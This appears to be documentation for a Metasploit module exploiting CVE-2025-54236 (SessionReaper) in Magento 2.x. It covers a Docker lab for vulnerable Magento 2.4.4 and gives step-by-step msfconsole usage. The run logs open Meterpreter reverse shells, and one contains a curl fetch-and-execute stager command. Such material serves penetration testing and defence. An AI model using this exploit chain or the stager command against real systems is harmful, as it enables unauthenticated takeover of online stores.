## Vulnerable Application

Magento/Adobe Commerce is a popular e-commerce platform written in PHP. A vulnerability exists in Magento 2.x that
allows an unauthenticated user to gain arbitrary code execution through nested deserialization and unauthenticated file
upload.

This vulnerability (CVE-2025-54236, also known as SessionReaper) affects Magento 2.x instances using file-based session
storage. **Note:** File-based session storage is not enabled by default in Magento. The target must be explicitly
configured to use file-based sessions (typically via `app/etc/env.php` with `'session' => ['save' => 'files']`) for this
vulnerability to be exploitable. By default, Magento uses database or Redis session storage.

**Exploit limitations:** In production environments, the upload directory (`media/customer_address/`) where the malicious
session file is uploaded is generally configured as read-only, which prevents successful exploitation. This exploit
therefore has limited applicability in hardened production environments. The module was specifically tested against
Magento 2.4.4.

### Description

This module exploits CVE-2025-54236 (SessionReaper) in Magento/Adobe Commerce. The vulnerability allows unauthenticated
remote code execution through nested deserialization and unauthenticated file upload.

The exploit chain:
1. Uploads a malicious session file via unauthenticated endpoint `/customer/address_file/upload`
2. Triggers deserialization by modifying session savePath via REST API endpoint
   `/rest/default/V1/guest-carts/{cart_id}/order`
3. Executes arbitrary PHP code

Patched versions return 400 Bad Request instead of processing the payload.

### Installation

#### Magento 2.4.4 with Docker

Create a directory for the lab environment:

```bash
mkdir -p test/magento
cd test/magento
```

Create `docker-compose.yml`:

```yaml
version: '3.8'

services:
  app:
    build:
      context: .
      dockerfile: Dockerfile
      args:
        - MYSQL_HOST=db
        - ELASTICSEARCH_HOST=elasticsearch
    container_name: magento-test
    ports:
      - "8082:80"
    environment:
      - MYSQL_HOST=db
      - MYSQL_DATABASE=magento
      - MYSQL_USER=magento
      - MYSQL_PASSWORD=magento
      - ELASTICSEARCH_HOST=elasticsearch
      - ELASTICSEARCH_PORT=9200
      - PHP_MEMORY_LIMIT=2G
    volumes:
      - appdata:/var/www/html
      - sessions:/var/www/html/var/session
    depends_on:
      - db
      - elasticsearch
    restart: unless-stopped

  db:
    image: mariadb:10.4
    container_name: magento-db
    environment:
      - MYSQL_ROOT_PASSWORD=root
      - MYSQL_DATABASE=magento
      - MYSQL_USER=magento
      - MYSQL_PASSWORD=magento
    volumes:
      - dbdata:/var/lib/mysql
    restart: unless-stopped

  elasticsearch:
    image: docker.elastic.co/elasticsearch/elasticsearch:7.17.0
    container_name: magento-elasticsearch
    environment:
      - discovery.type=single-node
      - "ES_JAVA_OPTS=-Xms512m -Xmx512m"
      - xpack.security.enabled=false
    volumes:
      - esdata:/usr/share/elasticsearch/data
    restart: unless-stopped

volumes:
  appdata:
  sessions:
  dbdata:
  esdata:
```

Create `Dockerfile`:

```dockerfile
FROM php:7.4-apache

    # Install system dependencies
RUN apt-get update && apt-get install -y \
    libxml2-dev \
    libxslt-dev \
    libzip-dev \
    libonig-dev \
    libfreetype6-dev \
    libjpeg62-turbo-dev \
    libpng-dev \
    libicu-dev \
    git \
    unzip \
    curl \
    wget \
    default-mysql-client \
    && rm -rf /var/lib/apt/lists/*

    # Install PHP extensions
RUN docker-php-ext-configure gd --with-freetype --with-jpeg \
    && docker-php-ext-install -j$(nproc) \
    bcmath \
    dom \
    gd \
    intl \
    mbstring \
    mysqli \
    opcache \
    pdo_mysql \
    soap \
    xsl \
    zip \
    sockets

    # Install Composer
RUN curl -sS https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer

    # Enable mod_rewrite
RUN a2enmod rewrite

    # Create installation script inline
    RUN cat > /install-magento.sh << 'INSTALL_EOF'
    #!/bin/bash
    set -e
    echo "[*] Downloading Magento 2.4.4 (vulnerable to CVE-2025-54236)..."
    cd /tmp
    rm -rf magento2-2.4.4 magento.tar.gz
    wget -q https://github.com/magento/magento2/archive/2.4.4.tar.gz -O magento.tar.gz
    echo "[*] Extracting Magento..."
    tar -xzf magento.tar.gz
    echo "[*] Copying Magento files to /var/www/html..."
    cd /var/www/html
    for item in * .*; do
        [ "$item" = "." ] || [ "$item" = ".." ] || [ "$item" = "var" ] && continue
        rm -rf "$item" 2>/dev/null || true
    done
    cp -r /tmp/magento2-2.4.4/* /var/www/html/
    cp -r /tmp/magento2-2.4.4/.* /var/www/html/ 2>/dev/null || true
    rm -rf /tmp/magento.tar.gz /tmp/magento2-2.4.4
    cd /var/www/html
    echo "[*] Setting permissions..."
    chown -R www-data:www-data /var/www/html
    chmod -R 755 /var/www/html
    echo "[*] Installing Composer dependencies..."
    composer self-update --1 2>/dev/null || true
    php -d memory_limit=2G /usr/local/bin/composer install --no-dev --optimize-autoloader --no-interaction --ignore-platform-reqs 2>&1 | tail -30 || echo "[!] Composer install had issues"
    php -d memory_limit=2G /usr/local/bin/composer update --no-dev --no-interaction --ignore-platform-reqs 2>&1 | tail -30 || true
    echo "[*] Installing Magento..."
    php -d memory_limit=2G bin/magento setup:install \
      --base-url=http://127.0.0.1:8082/ \
      --db-host=db \
      --db-name=magento \
      --db-user=magento \
      --db-password=magento \
      --admin-firstname=Admin \
      --admin-lastname=User \
      --admin-email=admin@example.com \
      --admin-user=admin \
      --admin-password=Admin123! \
      --language=en_US \
      --currency=USD \
      --timezone=America/New_York \
      --use-rewrites=1 \
      --backend-frontname=admin \
      --search-engine=elasticsearch7 \
      --elasticsearch-host=elasticsearch \
      --elasticsearch-port=9200 2>&1
    if [ -f /var/www/html/app/etc/env.php ]; then
        echo "[*] Configuring file-based sessions..."
        php -r "\$env = include 'app/etc/env.php'; \$env['session'] = ['save' => 'files']; file_put_contents('app/etc/env.php', '<?php return ' . var_export(\$env, true) . ';');"
        echo "[*] Compiling Magento code..."
        php -d memory_limit=2G bin/magento setup:di:compile 2>&1 | grep -E "(Compilation|SUCCESS|complete)" || echo "[!] Compilation output filtered"
        echo "[*] Setting final permissions..."
        chmod 644 /var/www/html/app/etc/env.php
        chown www-data:www-data /var/www/html/app/etc/env.php
        mkdir -p /var/www/html/var/session
        chmod -R 777 /var/www/html/var
        chown -R www-data:www-data /var/www/html/var
        echo "[*] Magento installation complete!"
    else
        echo "[!] Installation failed - env.php not found"
        exit 1
    fi
INSTALL_EOF
RUN chmod +x /install-magento.sh

    # Create entrypoint script inline
RUN cat > /entrypoint.sh << 'ENTRYPOINT_EOF'
#!/bin/bash
set -e
echo "[*] Starting Apache..."
apache2-foreground &
APACHE_PID=$!
echo "[*] Waiting for MySQL..."
until mysqladmin ping -h db -u magento -pmagento --silent 2>/dev/null; do
  echo "[*] MySQL not ready, waiting..."
  sleep 2
done
echo "[*] MySQL ready!"
echo "[*] Waiting for Elasticsearch..."
until curl -s http://elasticsearch:9200 >/dev/null 2>&1; do
  echo "[*] Elasticsearch not ready, waiting..."
  sleep 2
done
echo "[*] Elasticsearch ready!"
if [ ! -f /var/www/html/app/etc/env.php ]; then
    echo "[*] Magento not found, installing..."
    /install-magento.sh
    echo "[*] Installation script completed"
else
    echo "[*] Magento already installed"
fi
echo "[*] Ensuring session directory exists..."
mkdir -p /var/www/html/var/session
chmod -R 777 /var/www/html/var
chown -R www-data:www-data /var/www/html/var
echo "[*] ========================================"
echo "[*] Magento ready: http://127.0.0.1:8082/"
echo "[*] Admin: http://127.0.0.1:8082/admin/ (admin/Admin123!)"
echo "[*] ========================================"
wait $APACHE_PID
ENTRYPOINT_EOF
RUN chmod +x /entrypoint.sh

    # Set working directory
WORKDIR /var/www/html

    # Configure PHP memory limits
RUN echo "memory_limit = 2G" >> /usr/local/etc/php/conf.d/docker-php-memory.ini && \
    echo "upload_max_filesize = 64M" >> /usr/local/etc/php/conf.d/docker-php-memory.ini && \
    echo "post_max_size = 64M" >> /usr/local/etc/php/conf.d/docker-php-memory.ini

EXPOSE 80

ENTRYPOINT ["/entrypoint.sh"]
```

Build and start the containers:

```bash
docker compose up -d --build
```

Wait for the services to be ready (MySQL and Elasticsearch). The entrypoint script will automatically:
- Wait for MySQL and Elasticsearch to be ready
- Download and install Magento 2.4.4
- Configure file-based session storage
- Set proper permissions

Access Magento:
- Frontend: http://127.0.0.1:8082/
- Admin: http://127.0.0.1:8082/admin/ (admin/Admin123!)

The lab uses:
- Magento 2.4.4 (vulnerable version)
- PHP 7.4
- MariaDB 10.4
- Elasticsearch 7.17.0

## Verification Steps

1. Start msfconsole
2. Do: `use exploit/multi/http/magento_sessionreaper`
3. Do: `set RHOSTS <target_ip>`
4. Do: `set RPORT 8082` (or the appropriate port)
5. Do: `set TARGET 1` (for Unix/Linux Command Shell)
6. Do: `set payload cmd/linux/http/x64/meterpreter/reverse_tcp`
7. Do: `set LHOST <your_ip>`
8. Do: `set LPORT 4444`
9. Do: `run`
10. You should get a Meterpreter session

## Options

This module does not require any additional options beyond the standard HTTP client options.

## Scenarios

### Target 0 - PHP In-Memory (Magento 2.4.4 on Docker)

```
msf > use exploit/multi/http/magento_sessionreaper
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf exploit(multi/http/magento_sessionreaper) > set RHOSTS 172.21.0.1
RHOSTS => 172.21.0.1
msf exploit(multi/http/magento_sessionreaper) > set RPORT 8082
RPORT => 8082
msf exploit(multi/http/magento_sessionreaper) > set TARGET 0
TARGET => 0
msf exploit(multi/http/magento_sessionreaper) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(multi/http/magento_sessionreaper) > set LHOST 172.21.0.1
LHOST => 172.21.0.1
msf exploit(multi/http/magento_sessionreaper) > set LPORT 4444
LPORT => 4444
msf exploit(multi/http/magento_sessionreaper) > set VERBOSE true
VERBOSE => true
msf exploit(multi/http/magento_sessionreaper) > run

[*] Started reverse TCP handler on 172.21.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Target returned 500 error with SessionHandler
[*] Generating Guzzle/FW1 deserialization payload...
[*] Uploading session file with Guzzle payload...
[*] Uploading malicious session file: sess_73351c2463bf78124de49e6c5fe6804a
[*] Triggering deserialization with savePath: media/customer_address/s/e
[+] Deserialization triggered (HTTP 404)
[*] Executing payload at: /pub/AbfsP.php
[*] Sending stage (41224 bytes) to 172.21.0.4
[*] Meterpreter session 1 opened (172.21.0.1:4444 -> 172.21.0.4:60798) at 2025-11-24 20:55:44 +0100

meterpreter > sysinfo
Computer        : 93d562876bca
OS              : Linux 93d562876bca 6.14.0-115036-tuxedo #36~24.04.1tux1 SMP PREEMPT_DYNAMIC Mon Nov  3 17:34:07 UTC 2025 x86_64
Architecture    : x64
System Language : C
Meterpreter     : php/linux
meterpreter > exit
[*] Shutting down session: 1
[*] 172.21.0.1 - Meterpreter session 1 closed.  Reason: User exit
```

### Target 1 - Unix/Linux Command Shell (Magento 2.4.4 on Docker)

```
msf exploit(multi/http/magento_sessionreaper) > set TARGET 1
TARGET => 1
msf exploit(multi/http/magento_sessionreaper) > set payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(multi/http/magento_sessionreaper) > set LHOST 172.21.0.1
LHOST => 172.21.0.1
msf exploit(multi/http/magento_sessionreaper) > set LPORT 4444
LPORT => 4444
msf exploit(multi/http/magento_sessionreaper) > set VERBOSE true
VERBOSE => true
msf exploit(multi/http/magento_sessionreaper) > run

[*] Command to run on remote host: curl -so ./tVLJyRtY http://172.21.0.1:8080/jA-UlkUXeCwJQV_LW9doGw;chmod +x ./tVLJyRtY;./tVLJyRtY&
[*] Fetch handler listening on 172.21.0.1:8080
[*] HTTP server started
[*] Adding resource /jA-UlkUXeCwJQV_LW9doGw
[*] Started reverse TCP handler on 172.21.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Target returned 500 error with SessionHandler
[*] Generating Guzzle/FW1 deserialization payload...
[*] Uploading session file with Guzzle payload...
[*] Uploading malicious session file: sess_f96806648d613cac927613576dd37dc8
[*] Triggering deserialization with savePath: media/customer_address/s/e
[+] Deserialization triggered (HTTP 404)
[*] Executing payload at: /pub/AGD3.php
[*] Client 172.21.0.4 requested /jA-UlkUXeCwJQV_LW9doGw
[*] Sending payload to 172.21.0.4 (curl/7.74.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 172.21.0.4
[*] Meterpreter session 2 opened (172.21.0.1:4444 -> 172.21.0.4:47580) at 2025-11-24 20:56:19 +0100

meterpreter > sysinfo
Computer     : 172.21.0.4
OS           : Debian 11.5 (Linux 6.14.0-115036-tuxedo)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >
```

### Check Command

```
msf exploit(multi/http/magento_sessionreaper) > check
[+] The target appears to be vulnerable. Target returned 500 error with SessionHandler
```

## References

- [CVE-2025-54236](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-54236)
- [Searchlight Cyber Blog - Why Nested Deserialization is Still Harmful: Magento RCE CVE-2025-54236]
  (https://slcyber.io/research-center/why-nested-deserialization-is-still-harmful-magento-rce-cve-2025-54236/)
- [Adobe Security Bulletin](https://experienceleague.adobe.com/en/docs/experience-cloud-kcs/kbarticles/ka-27397)

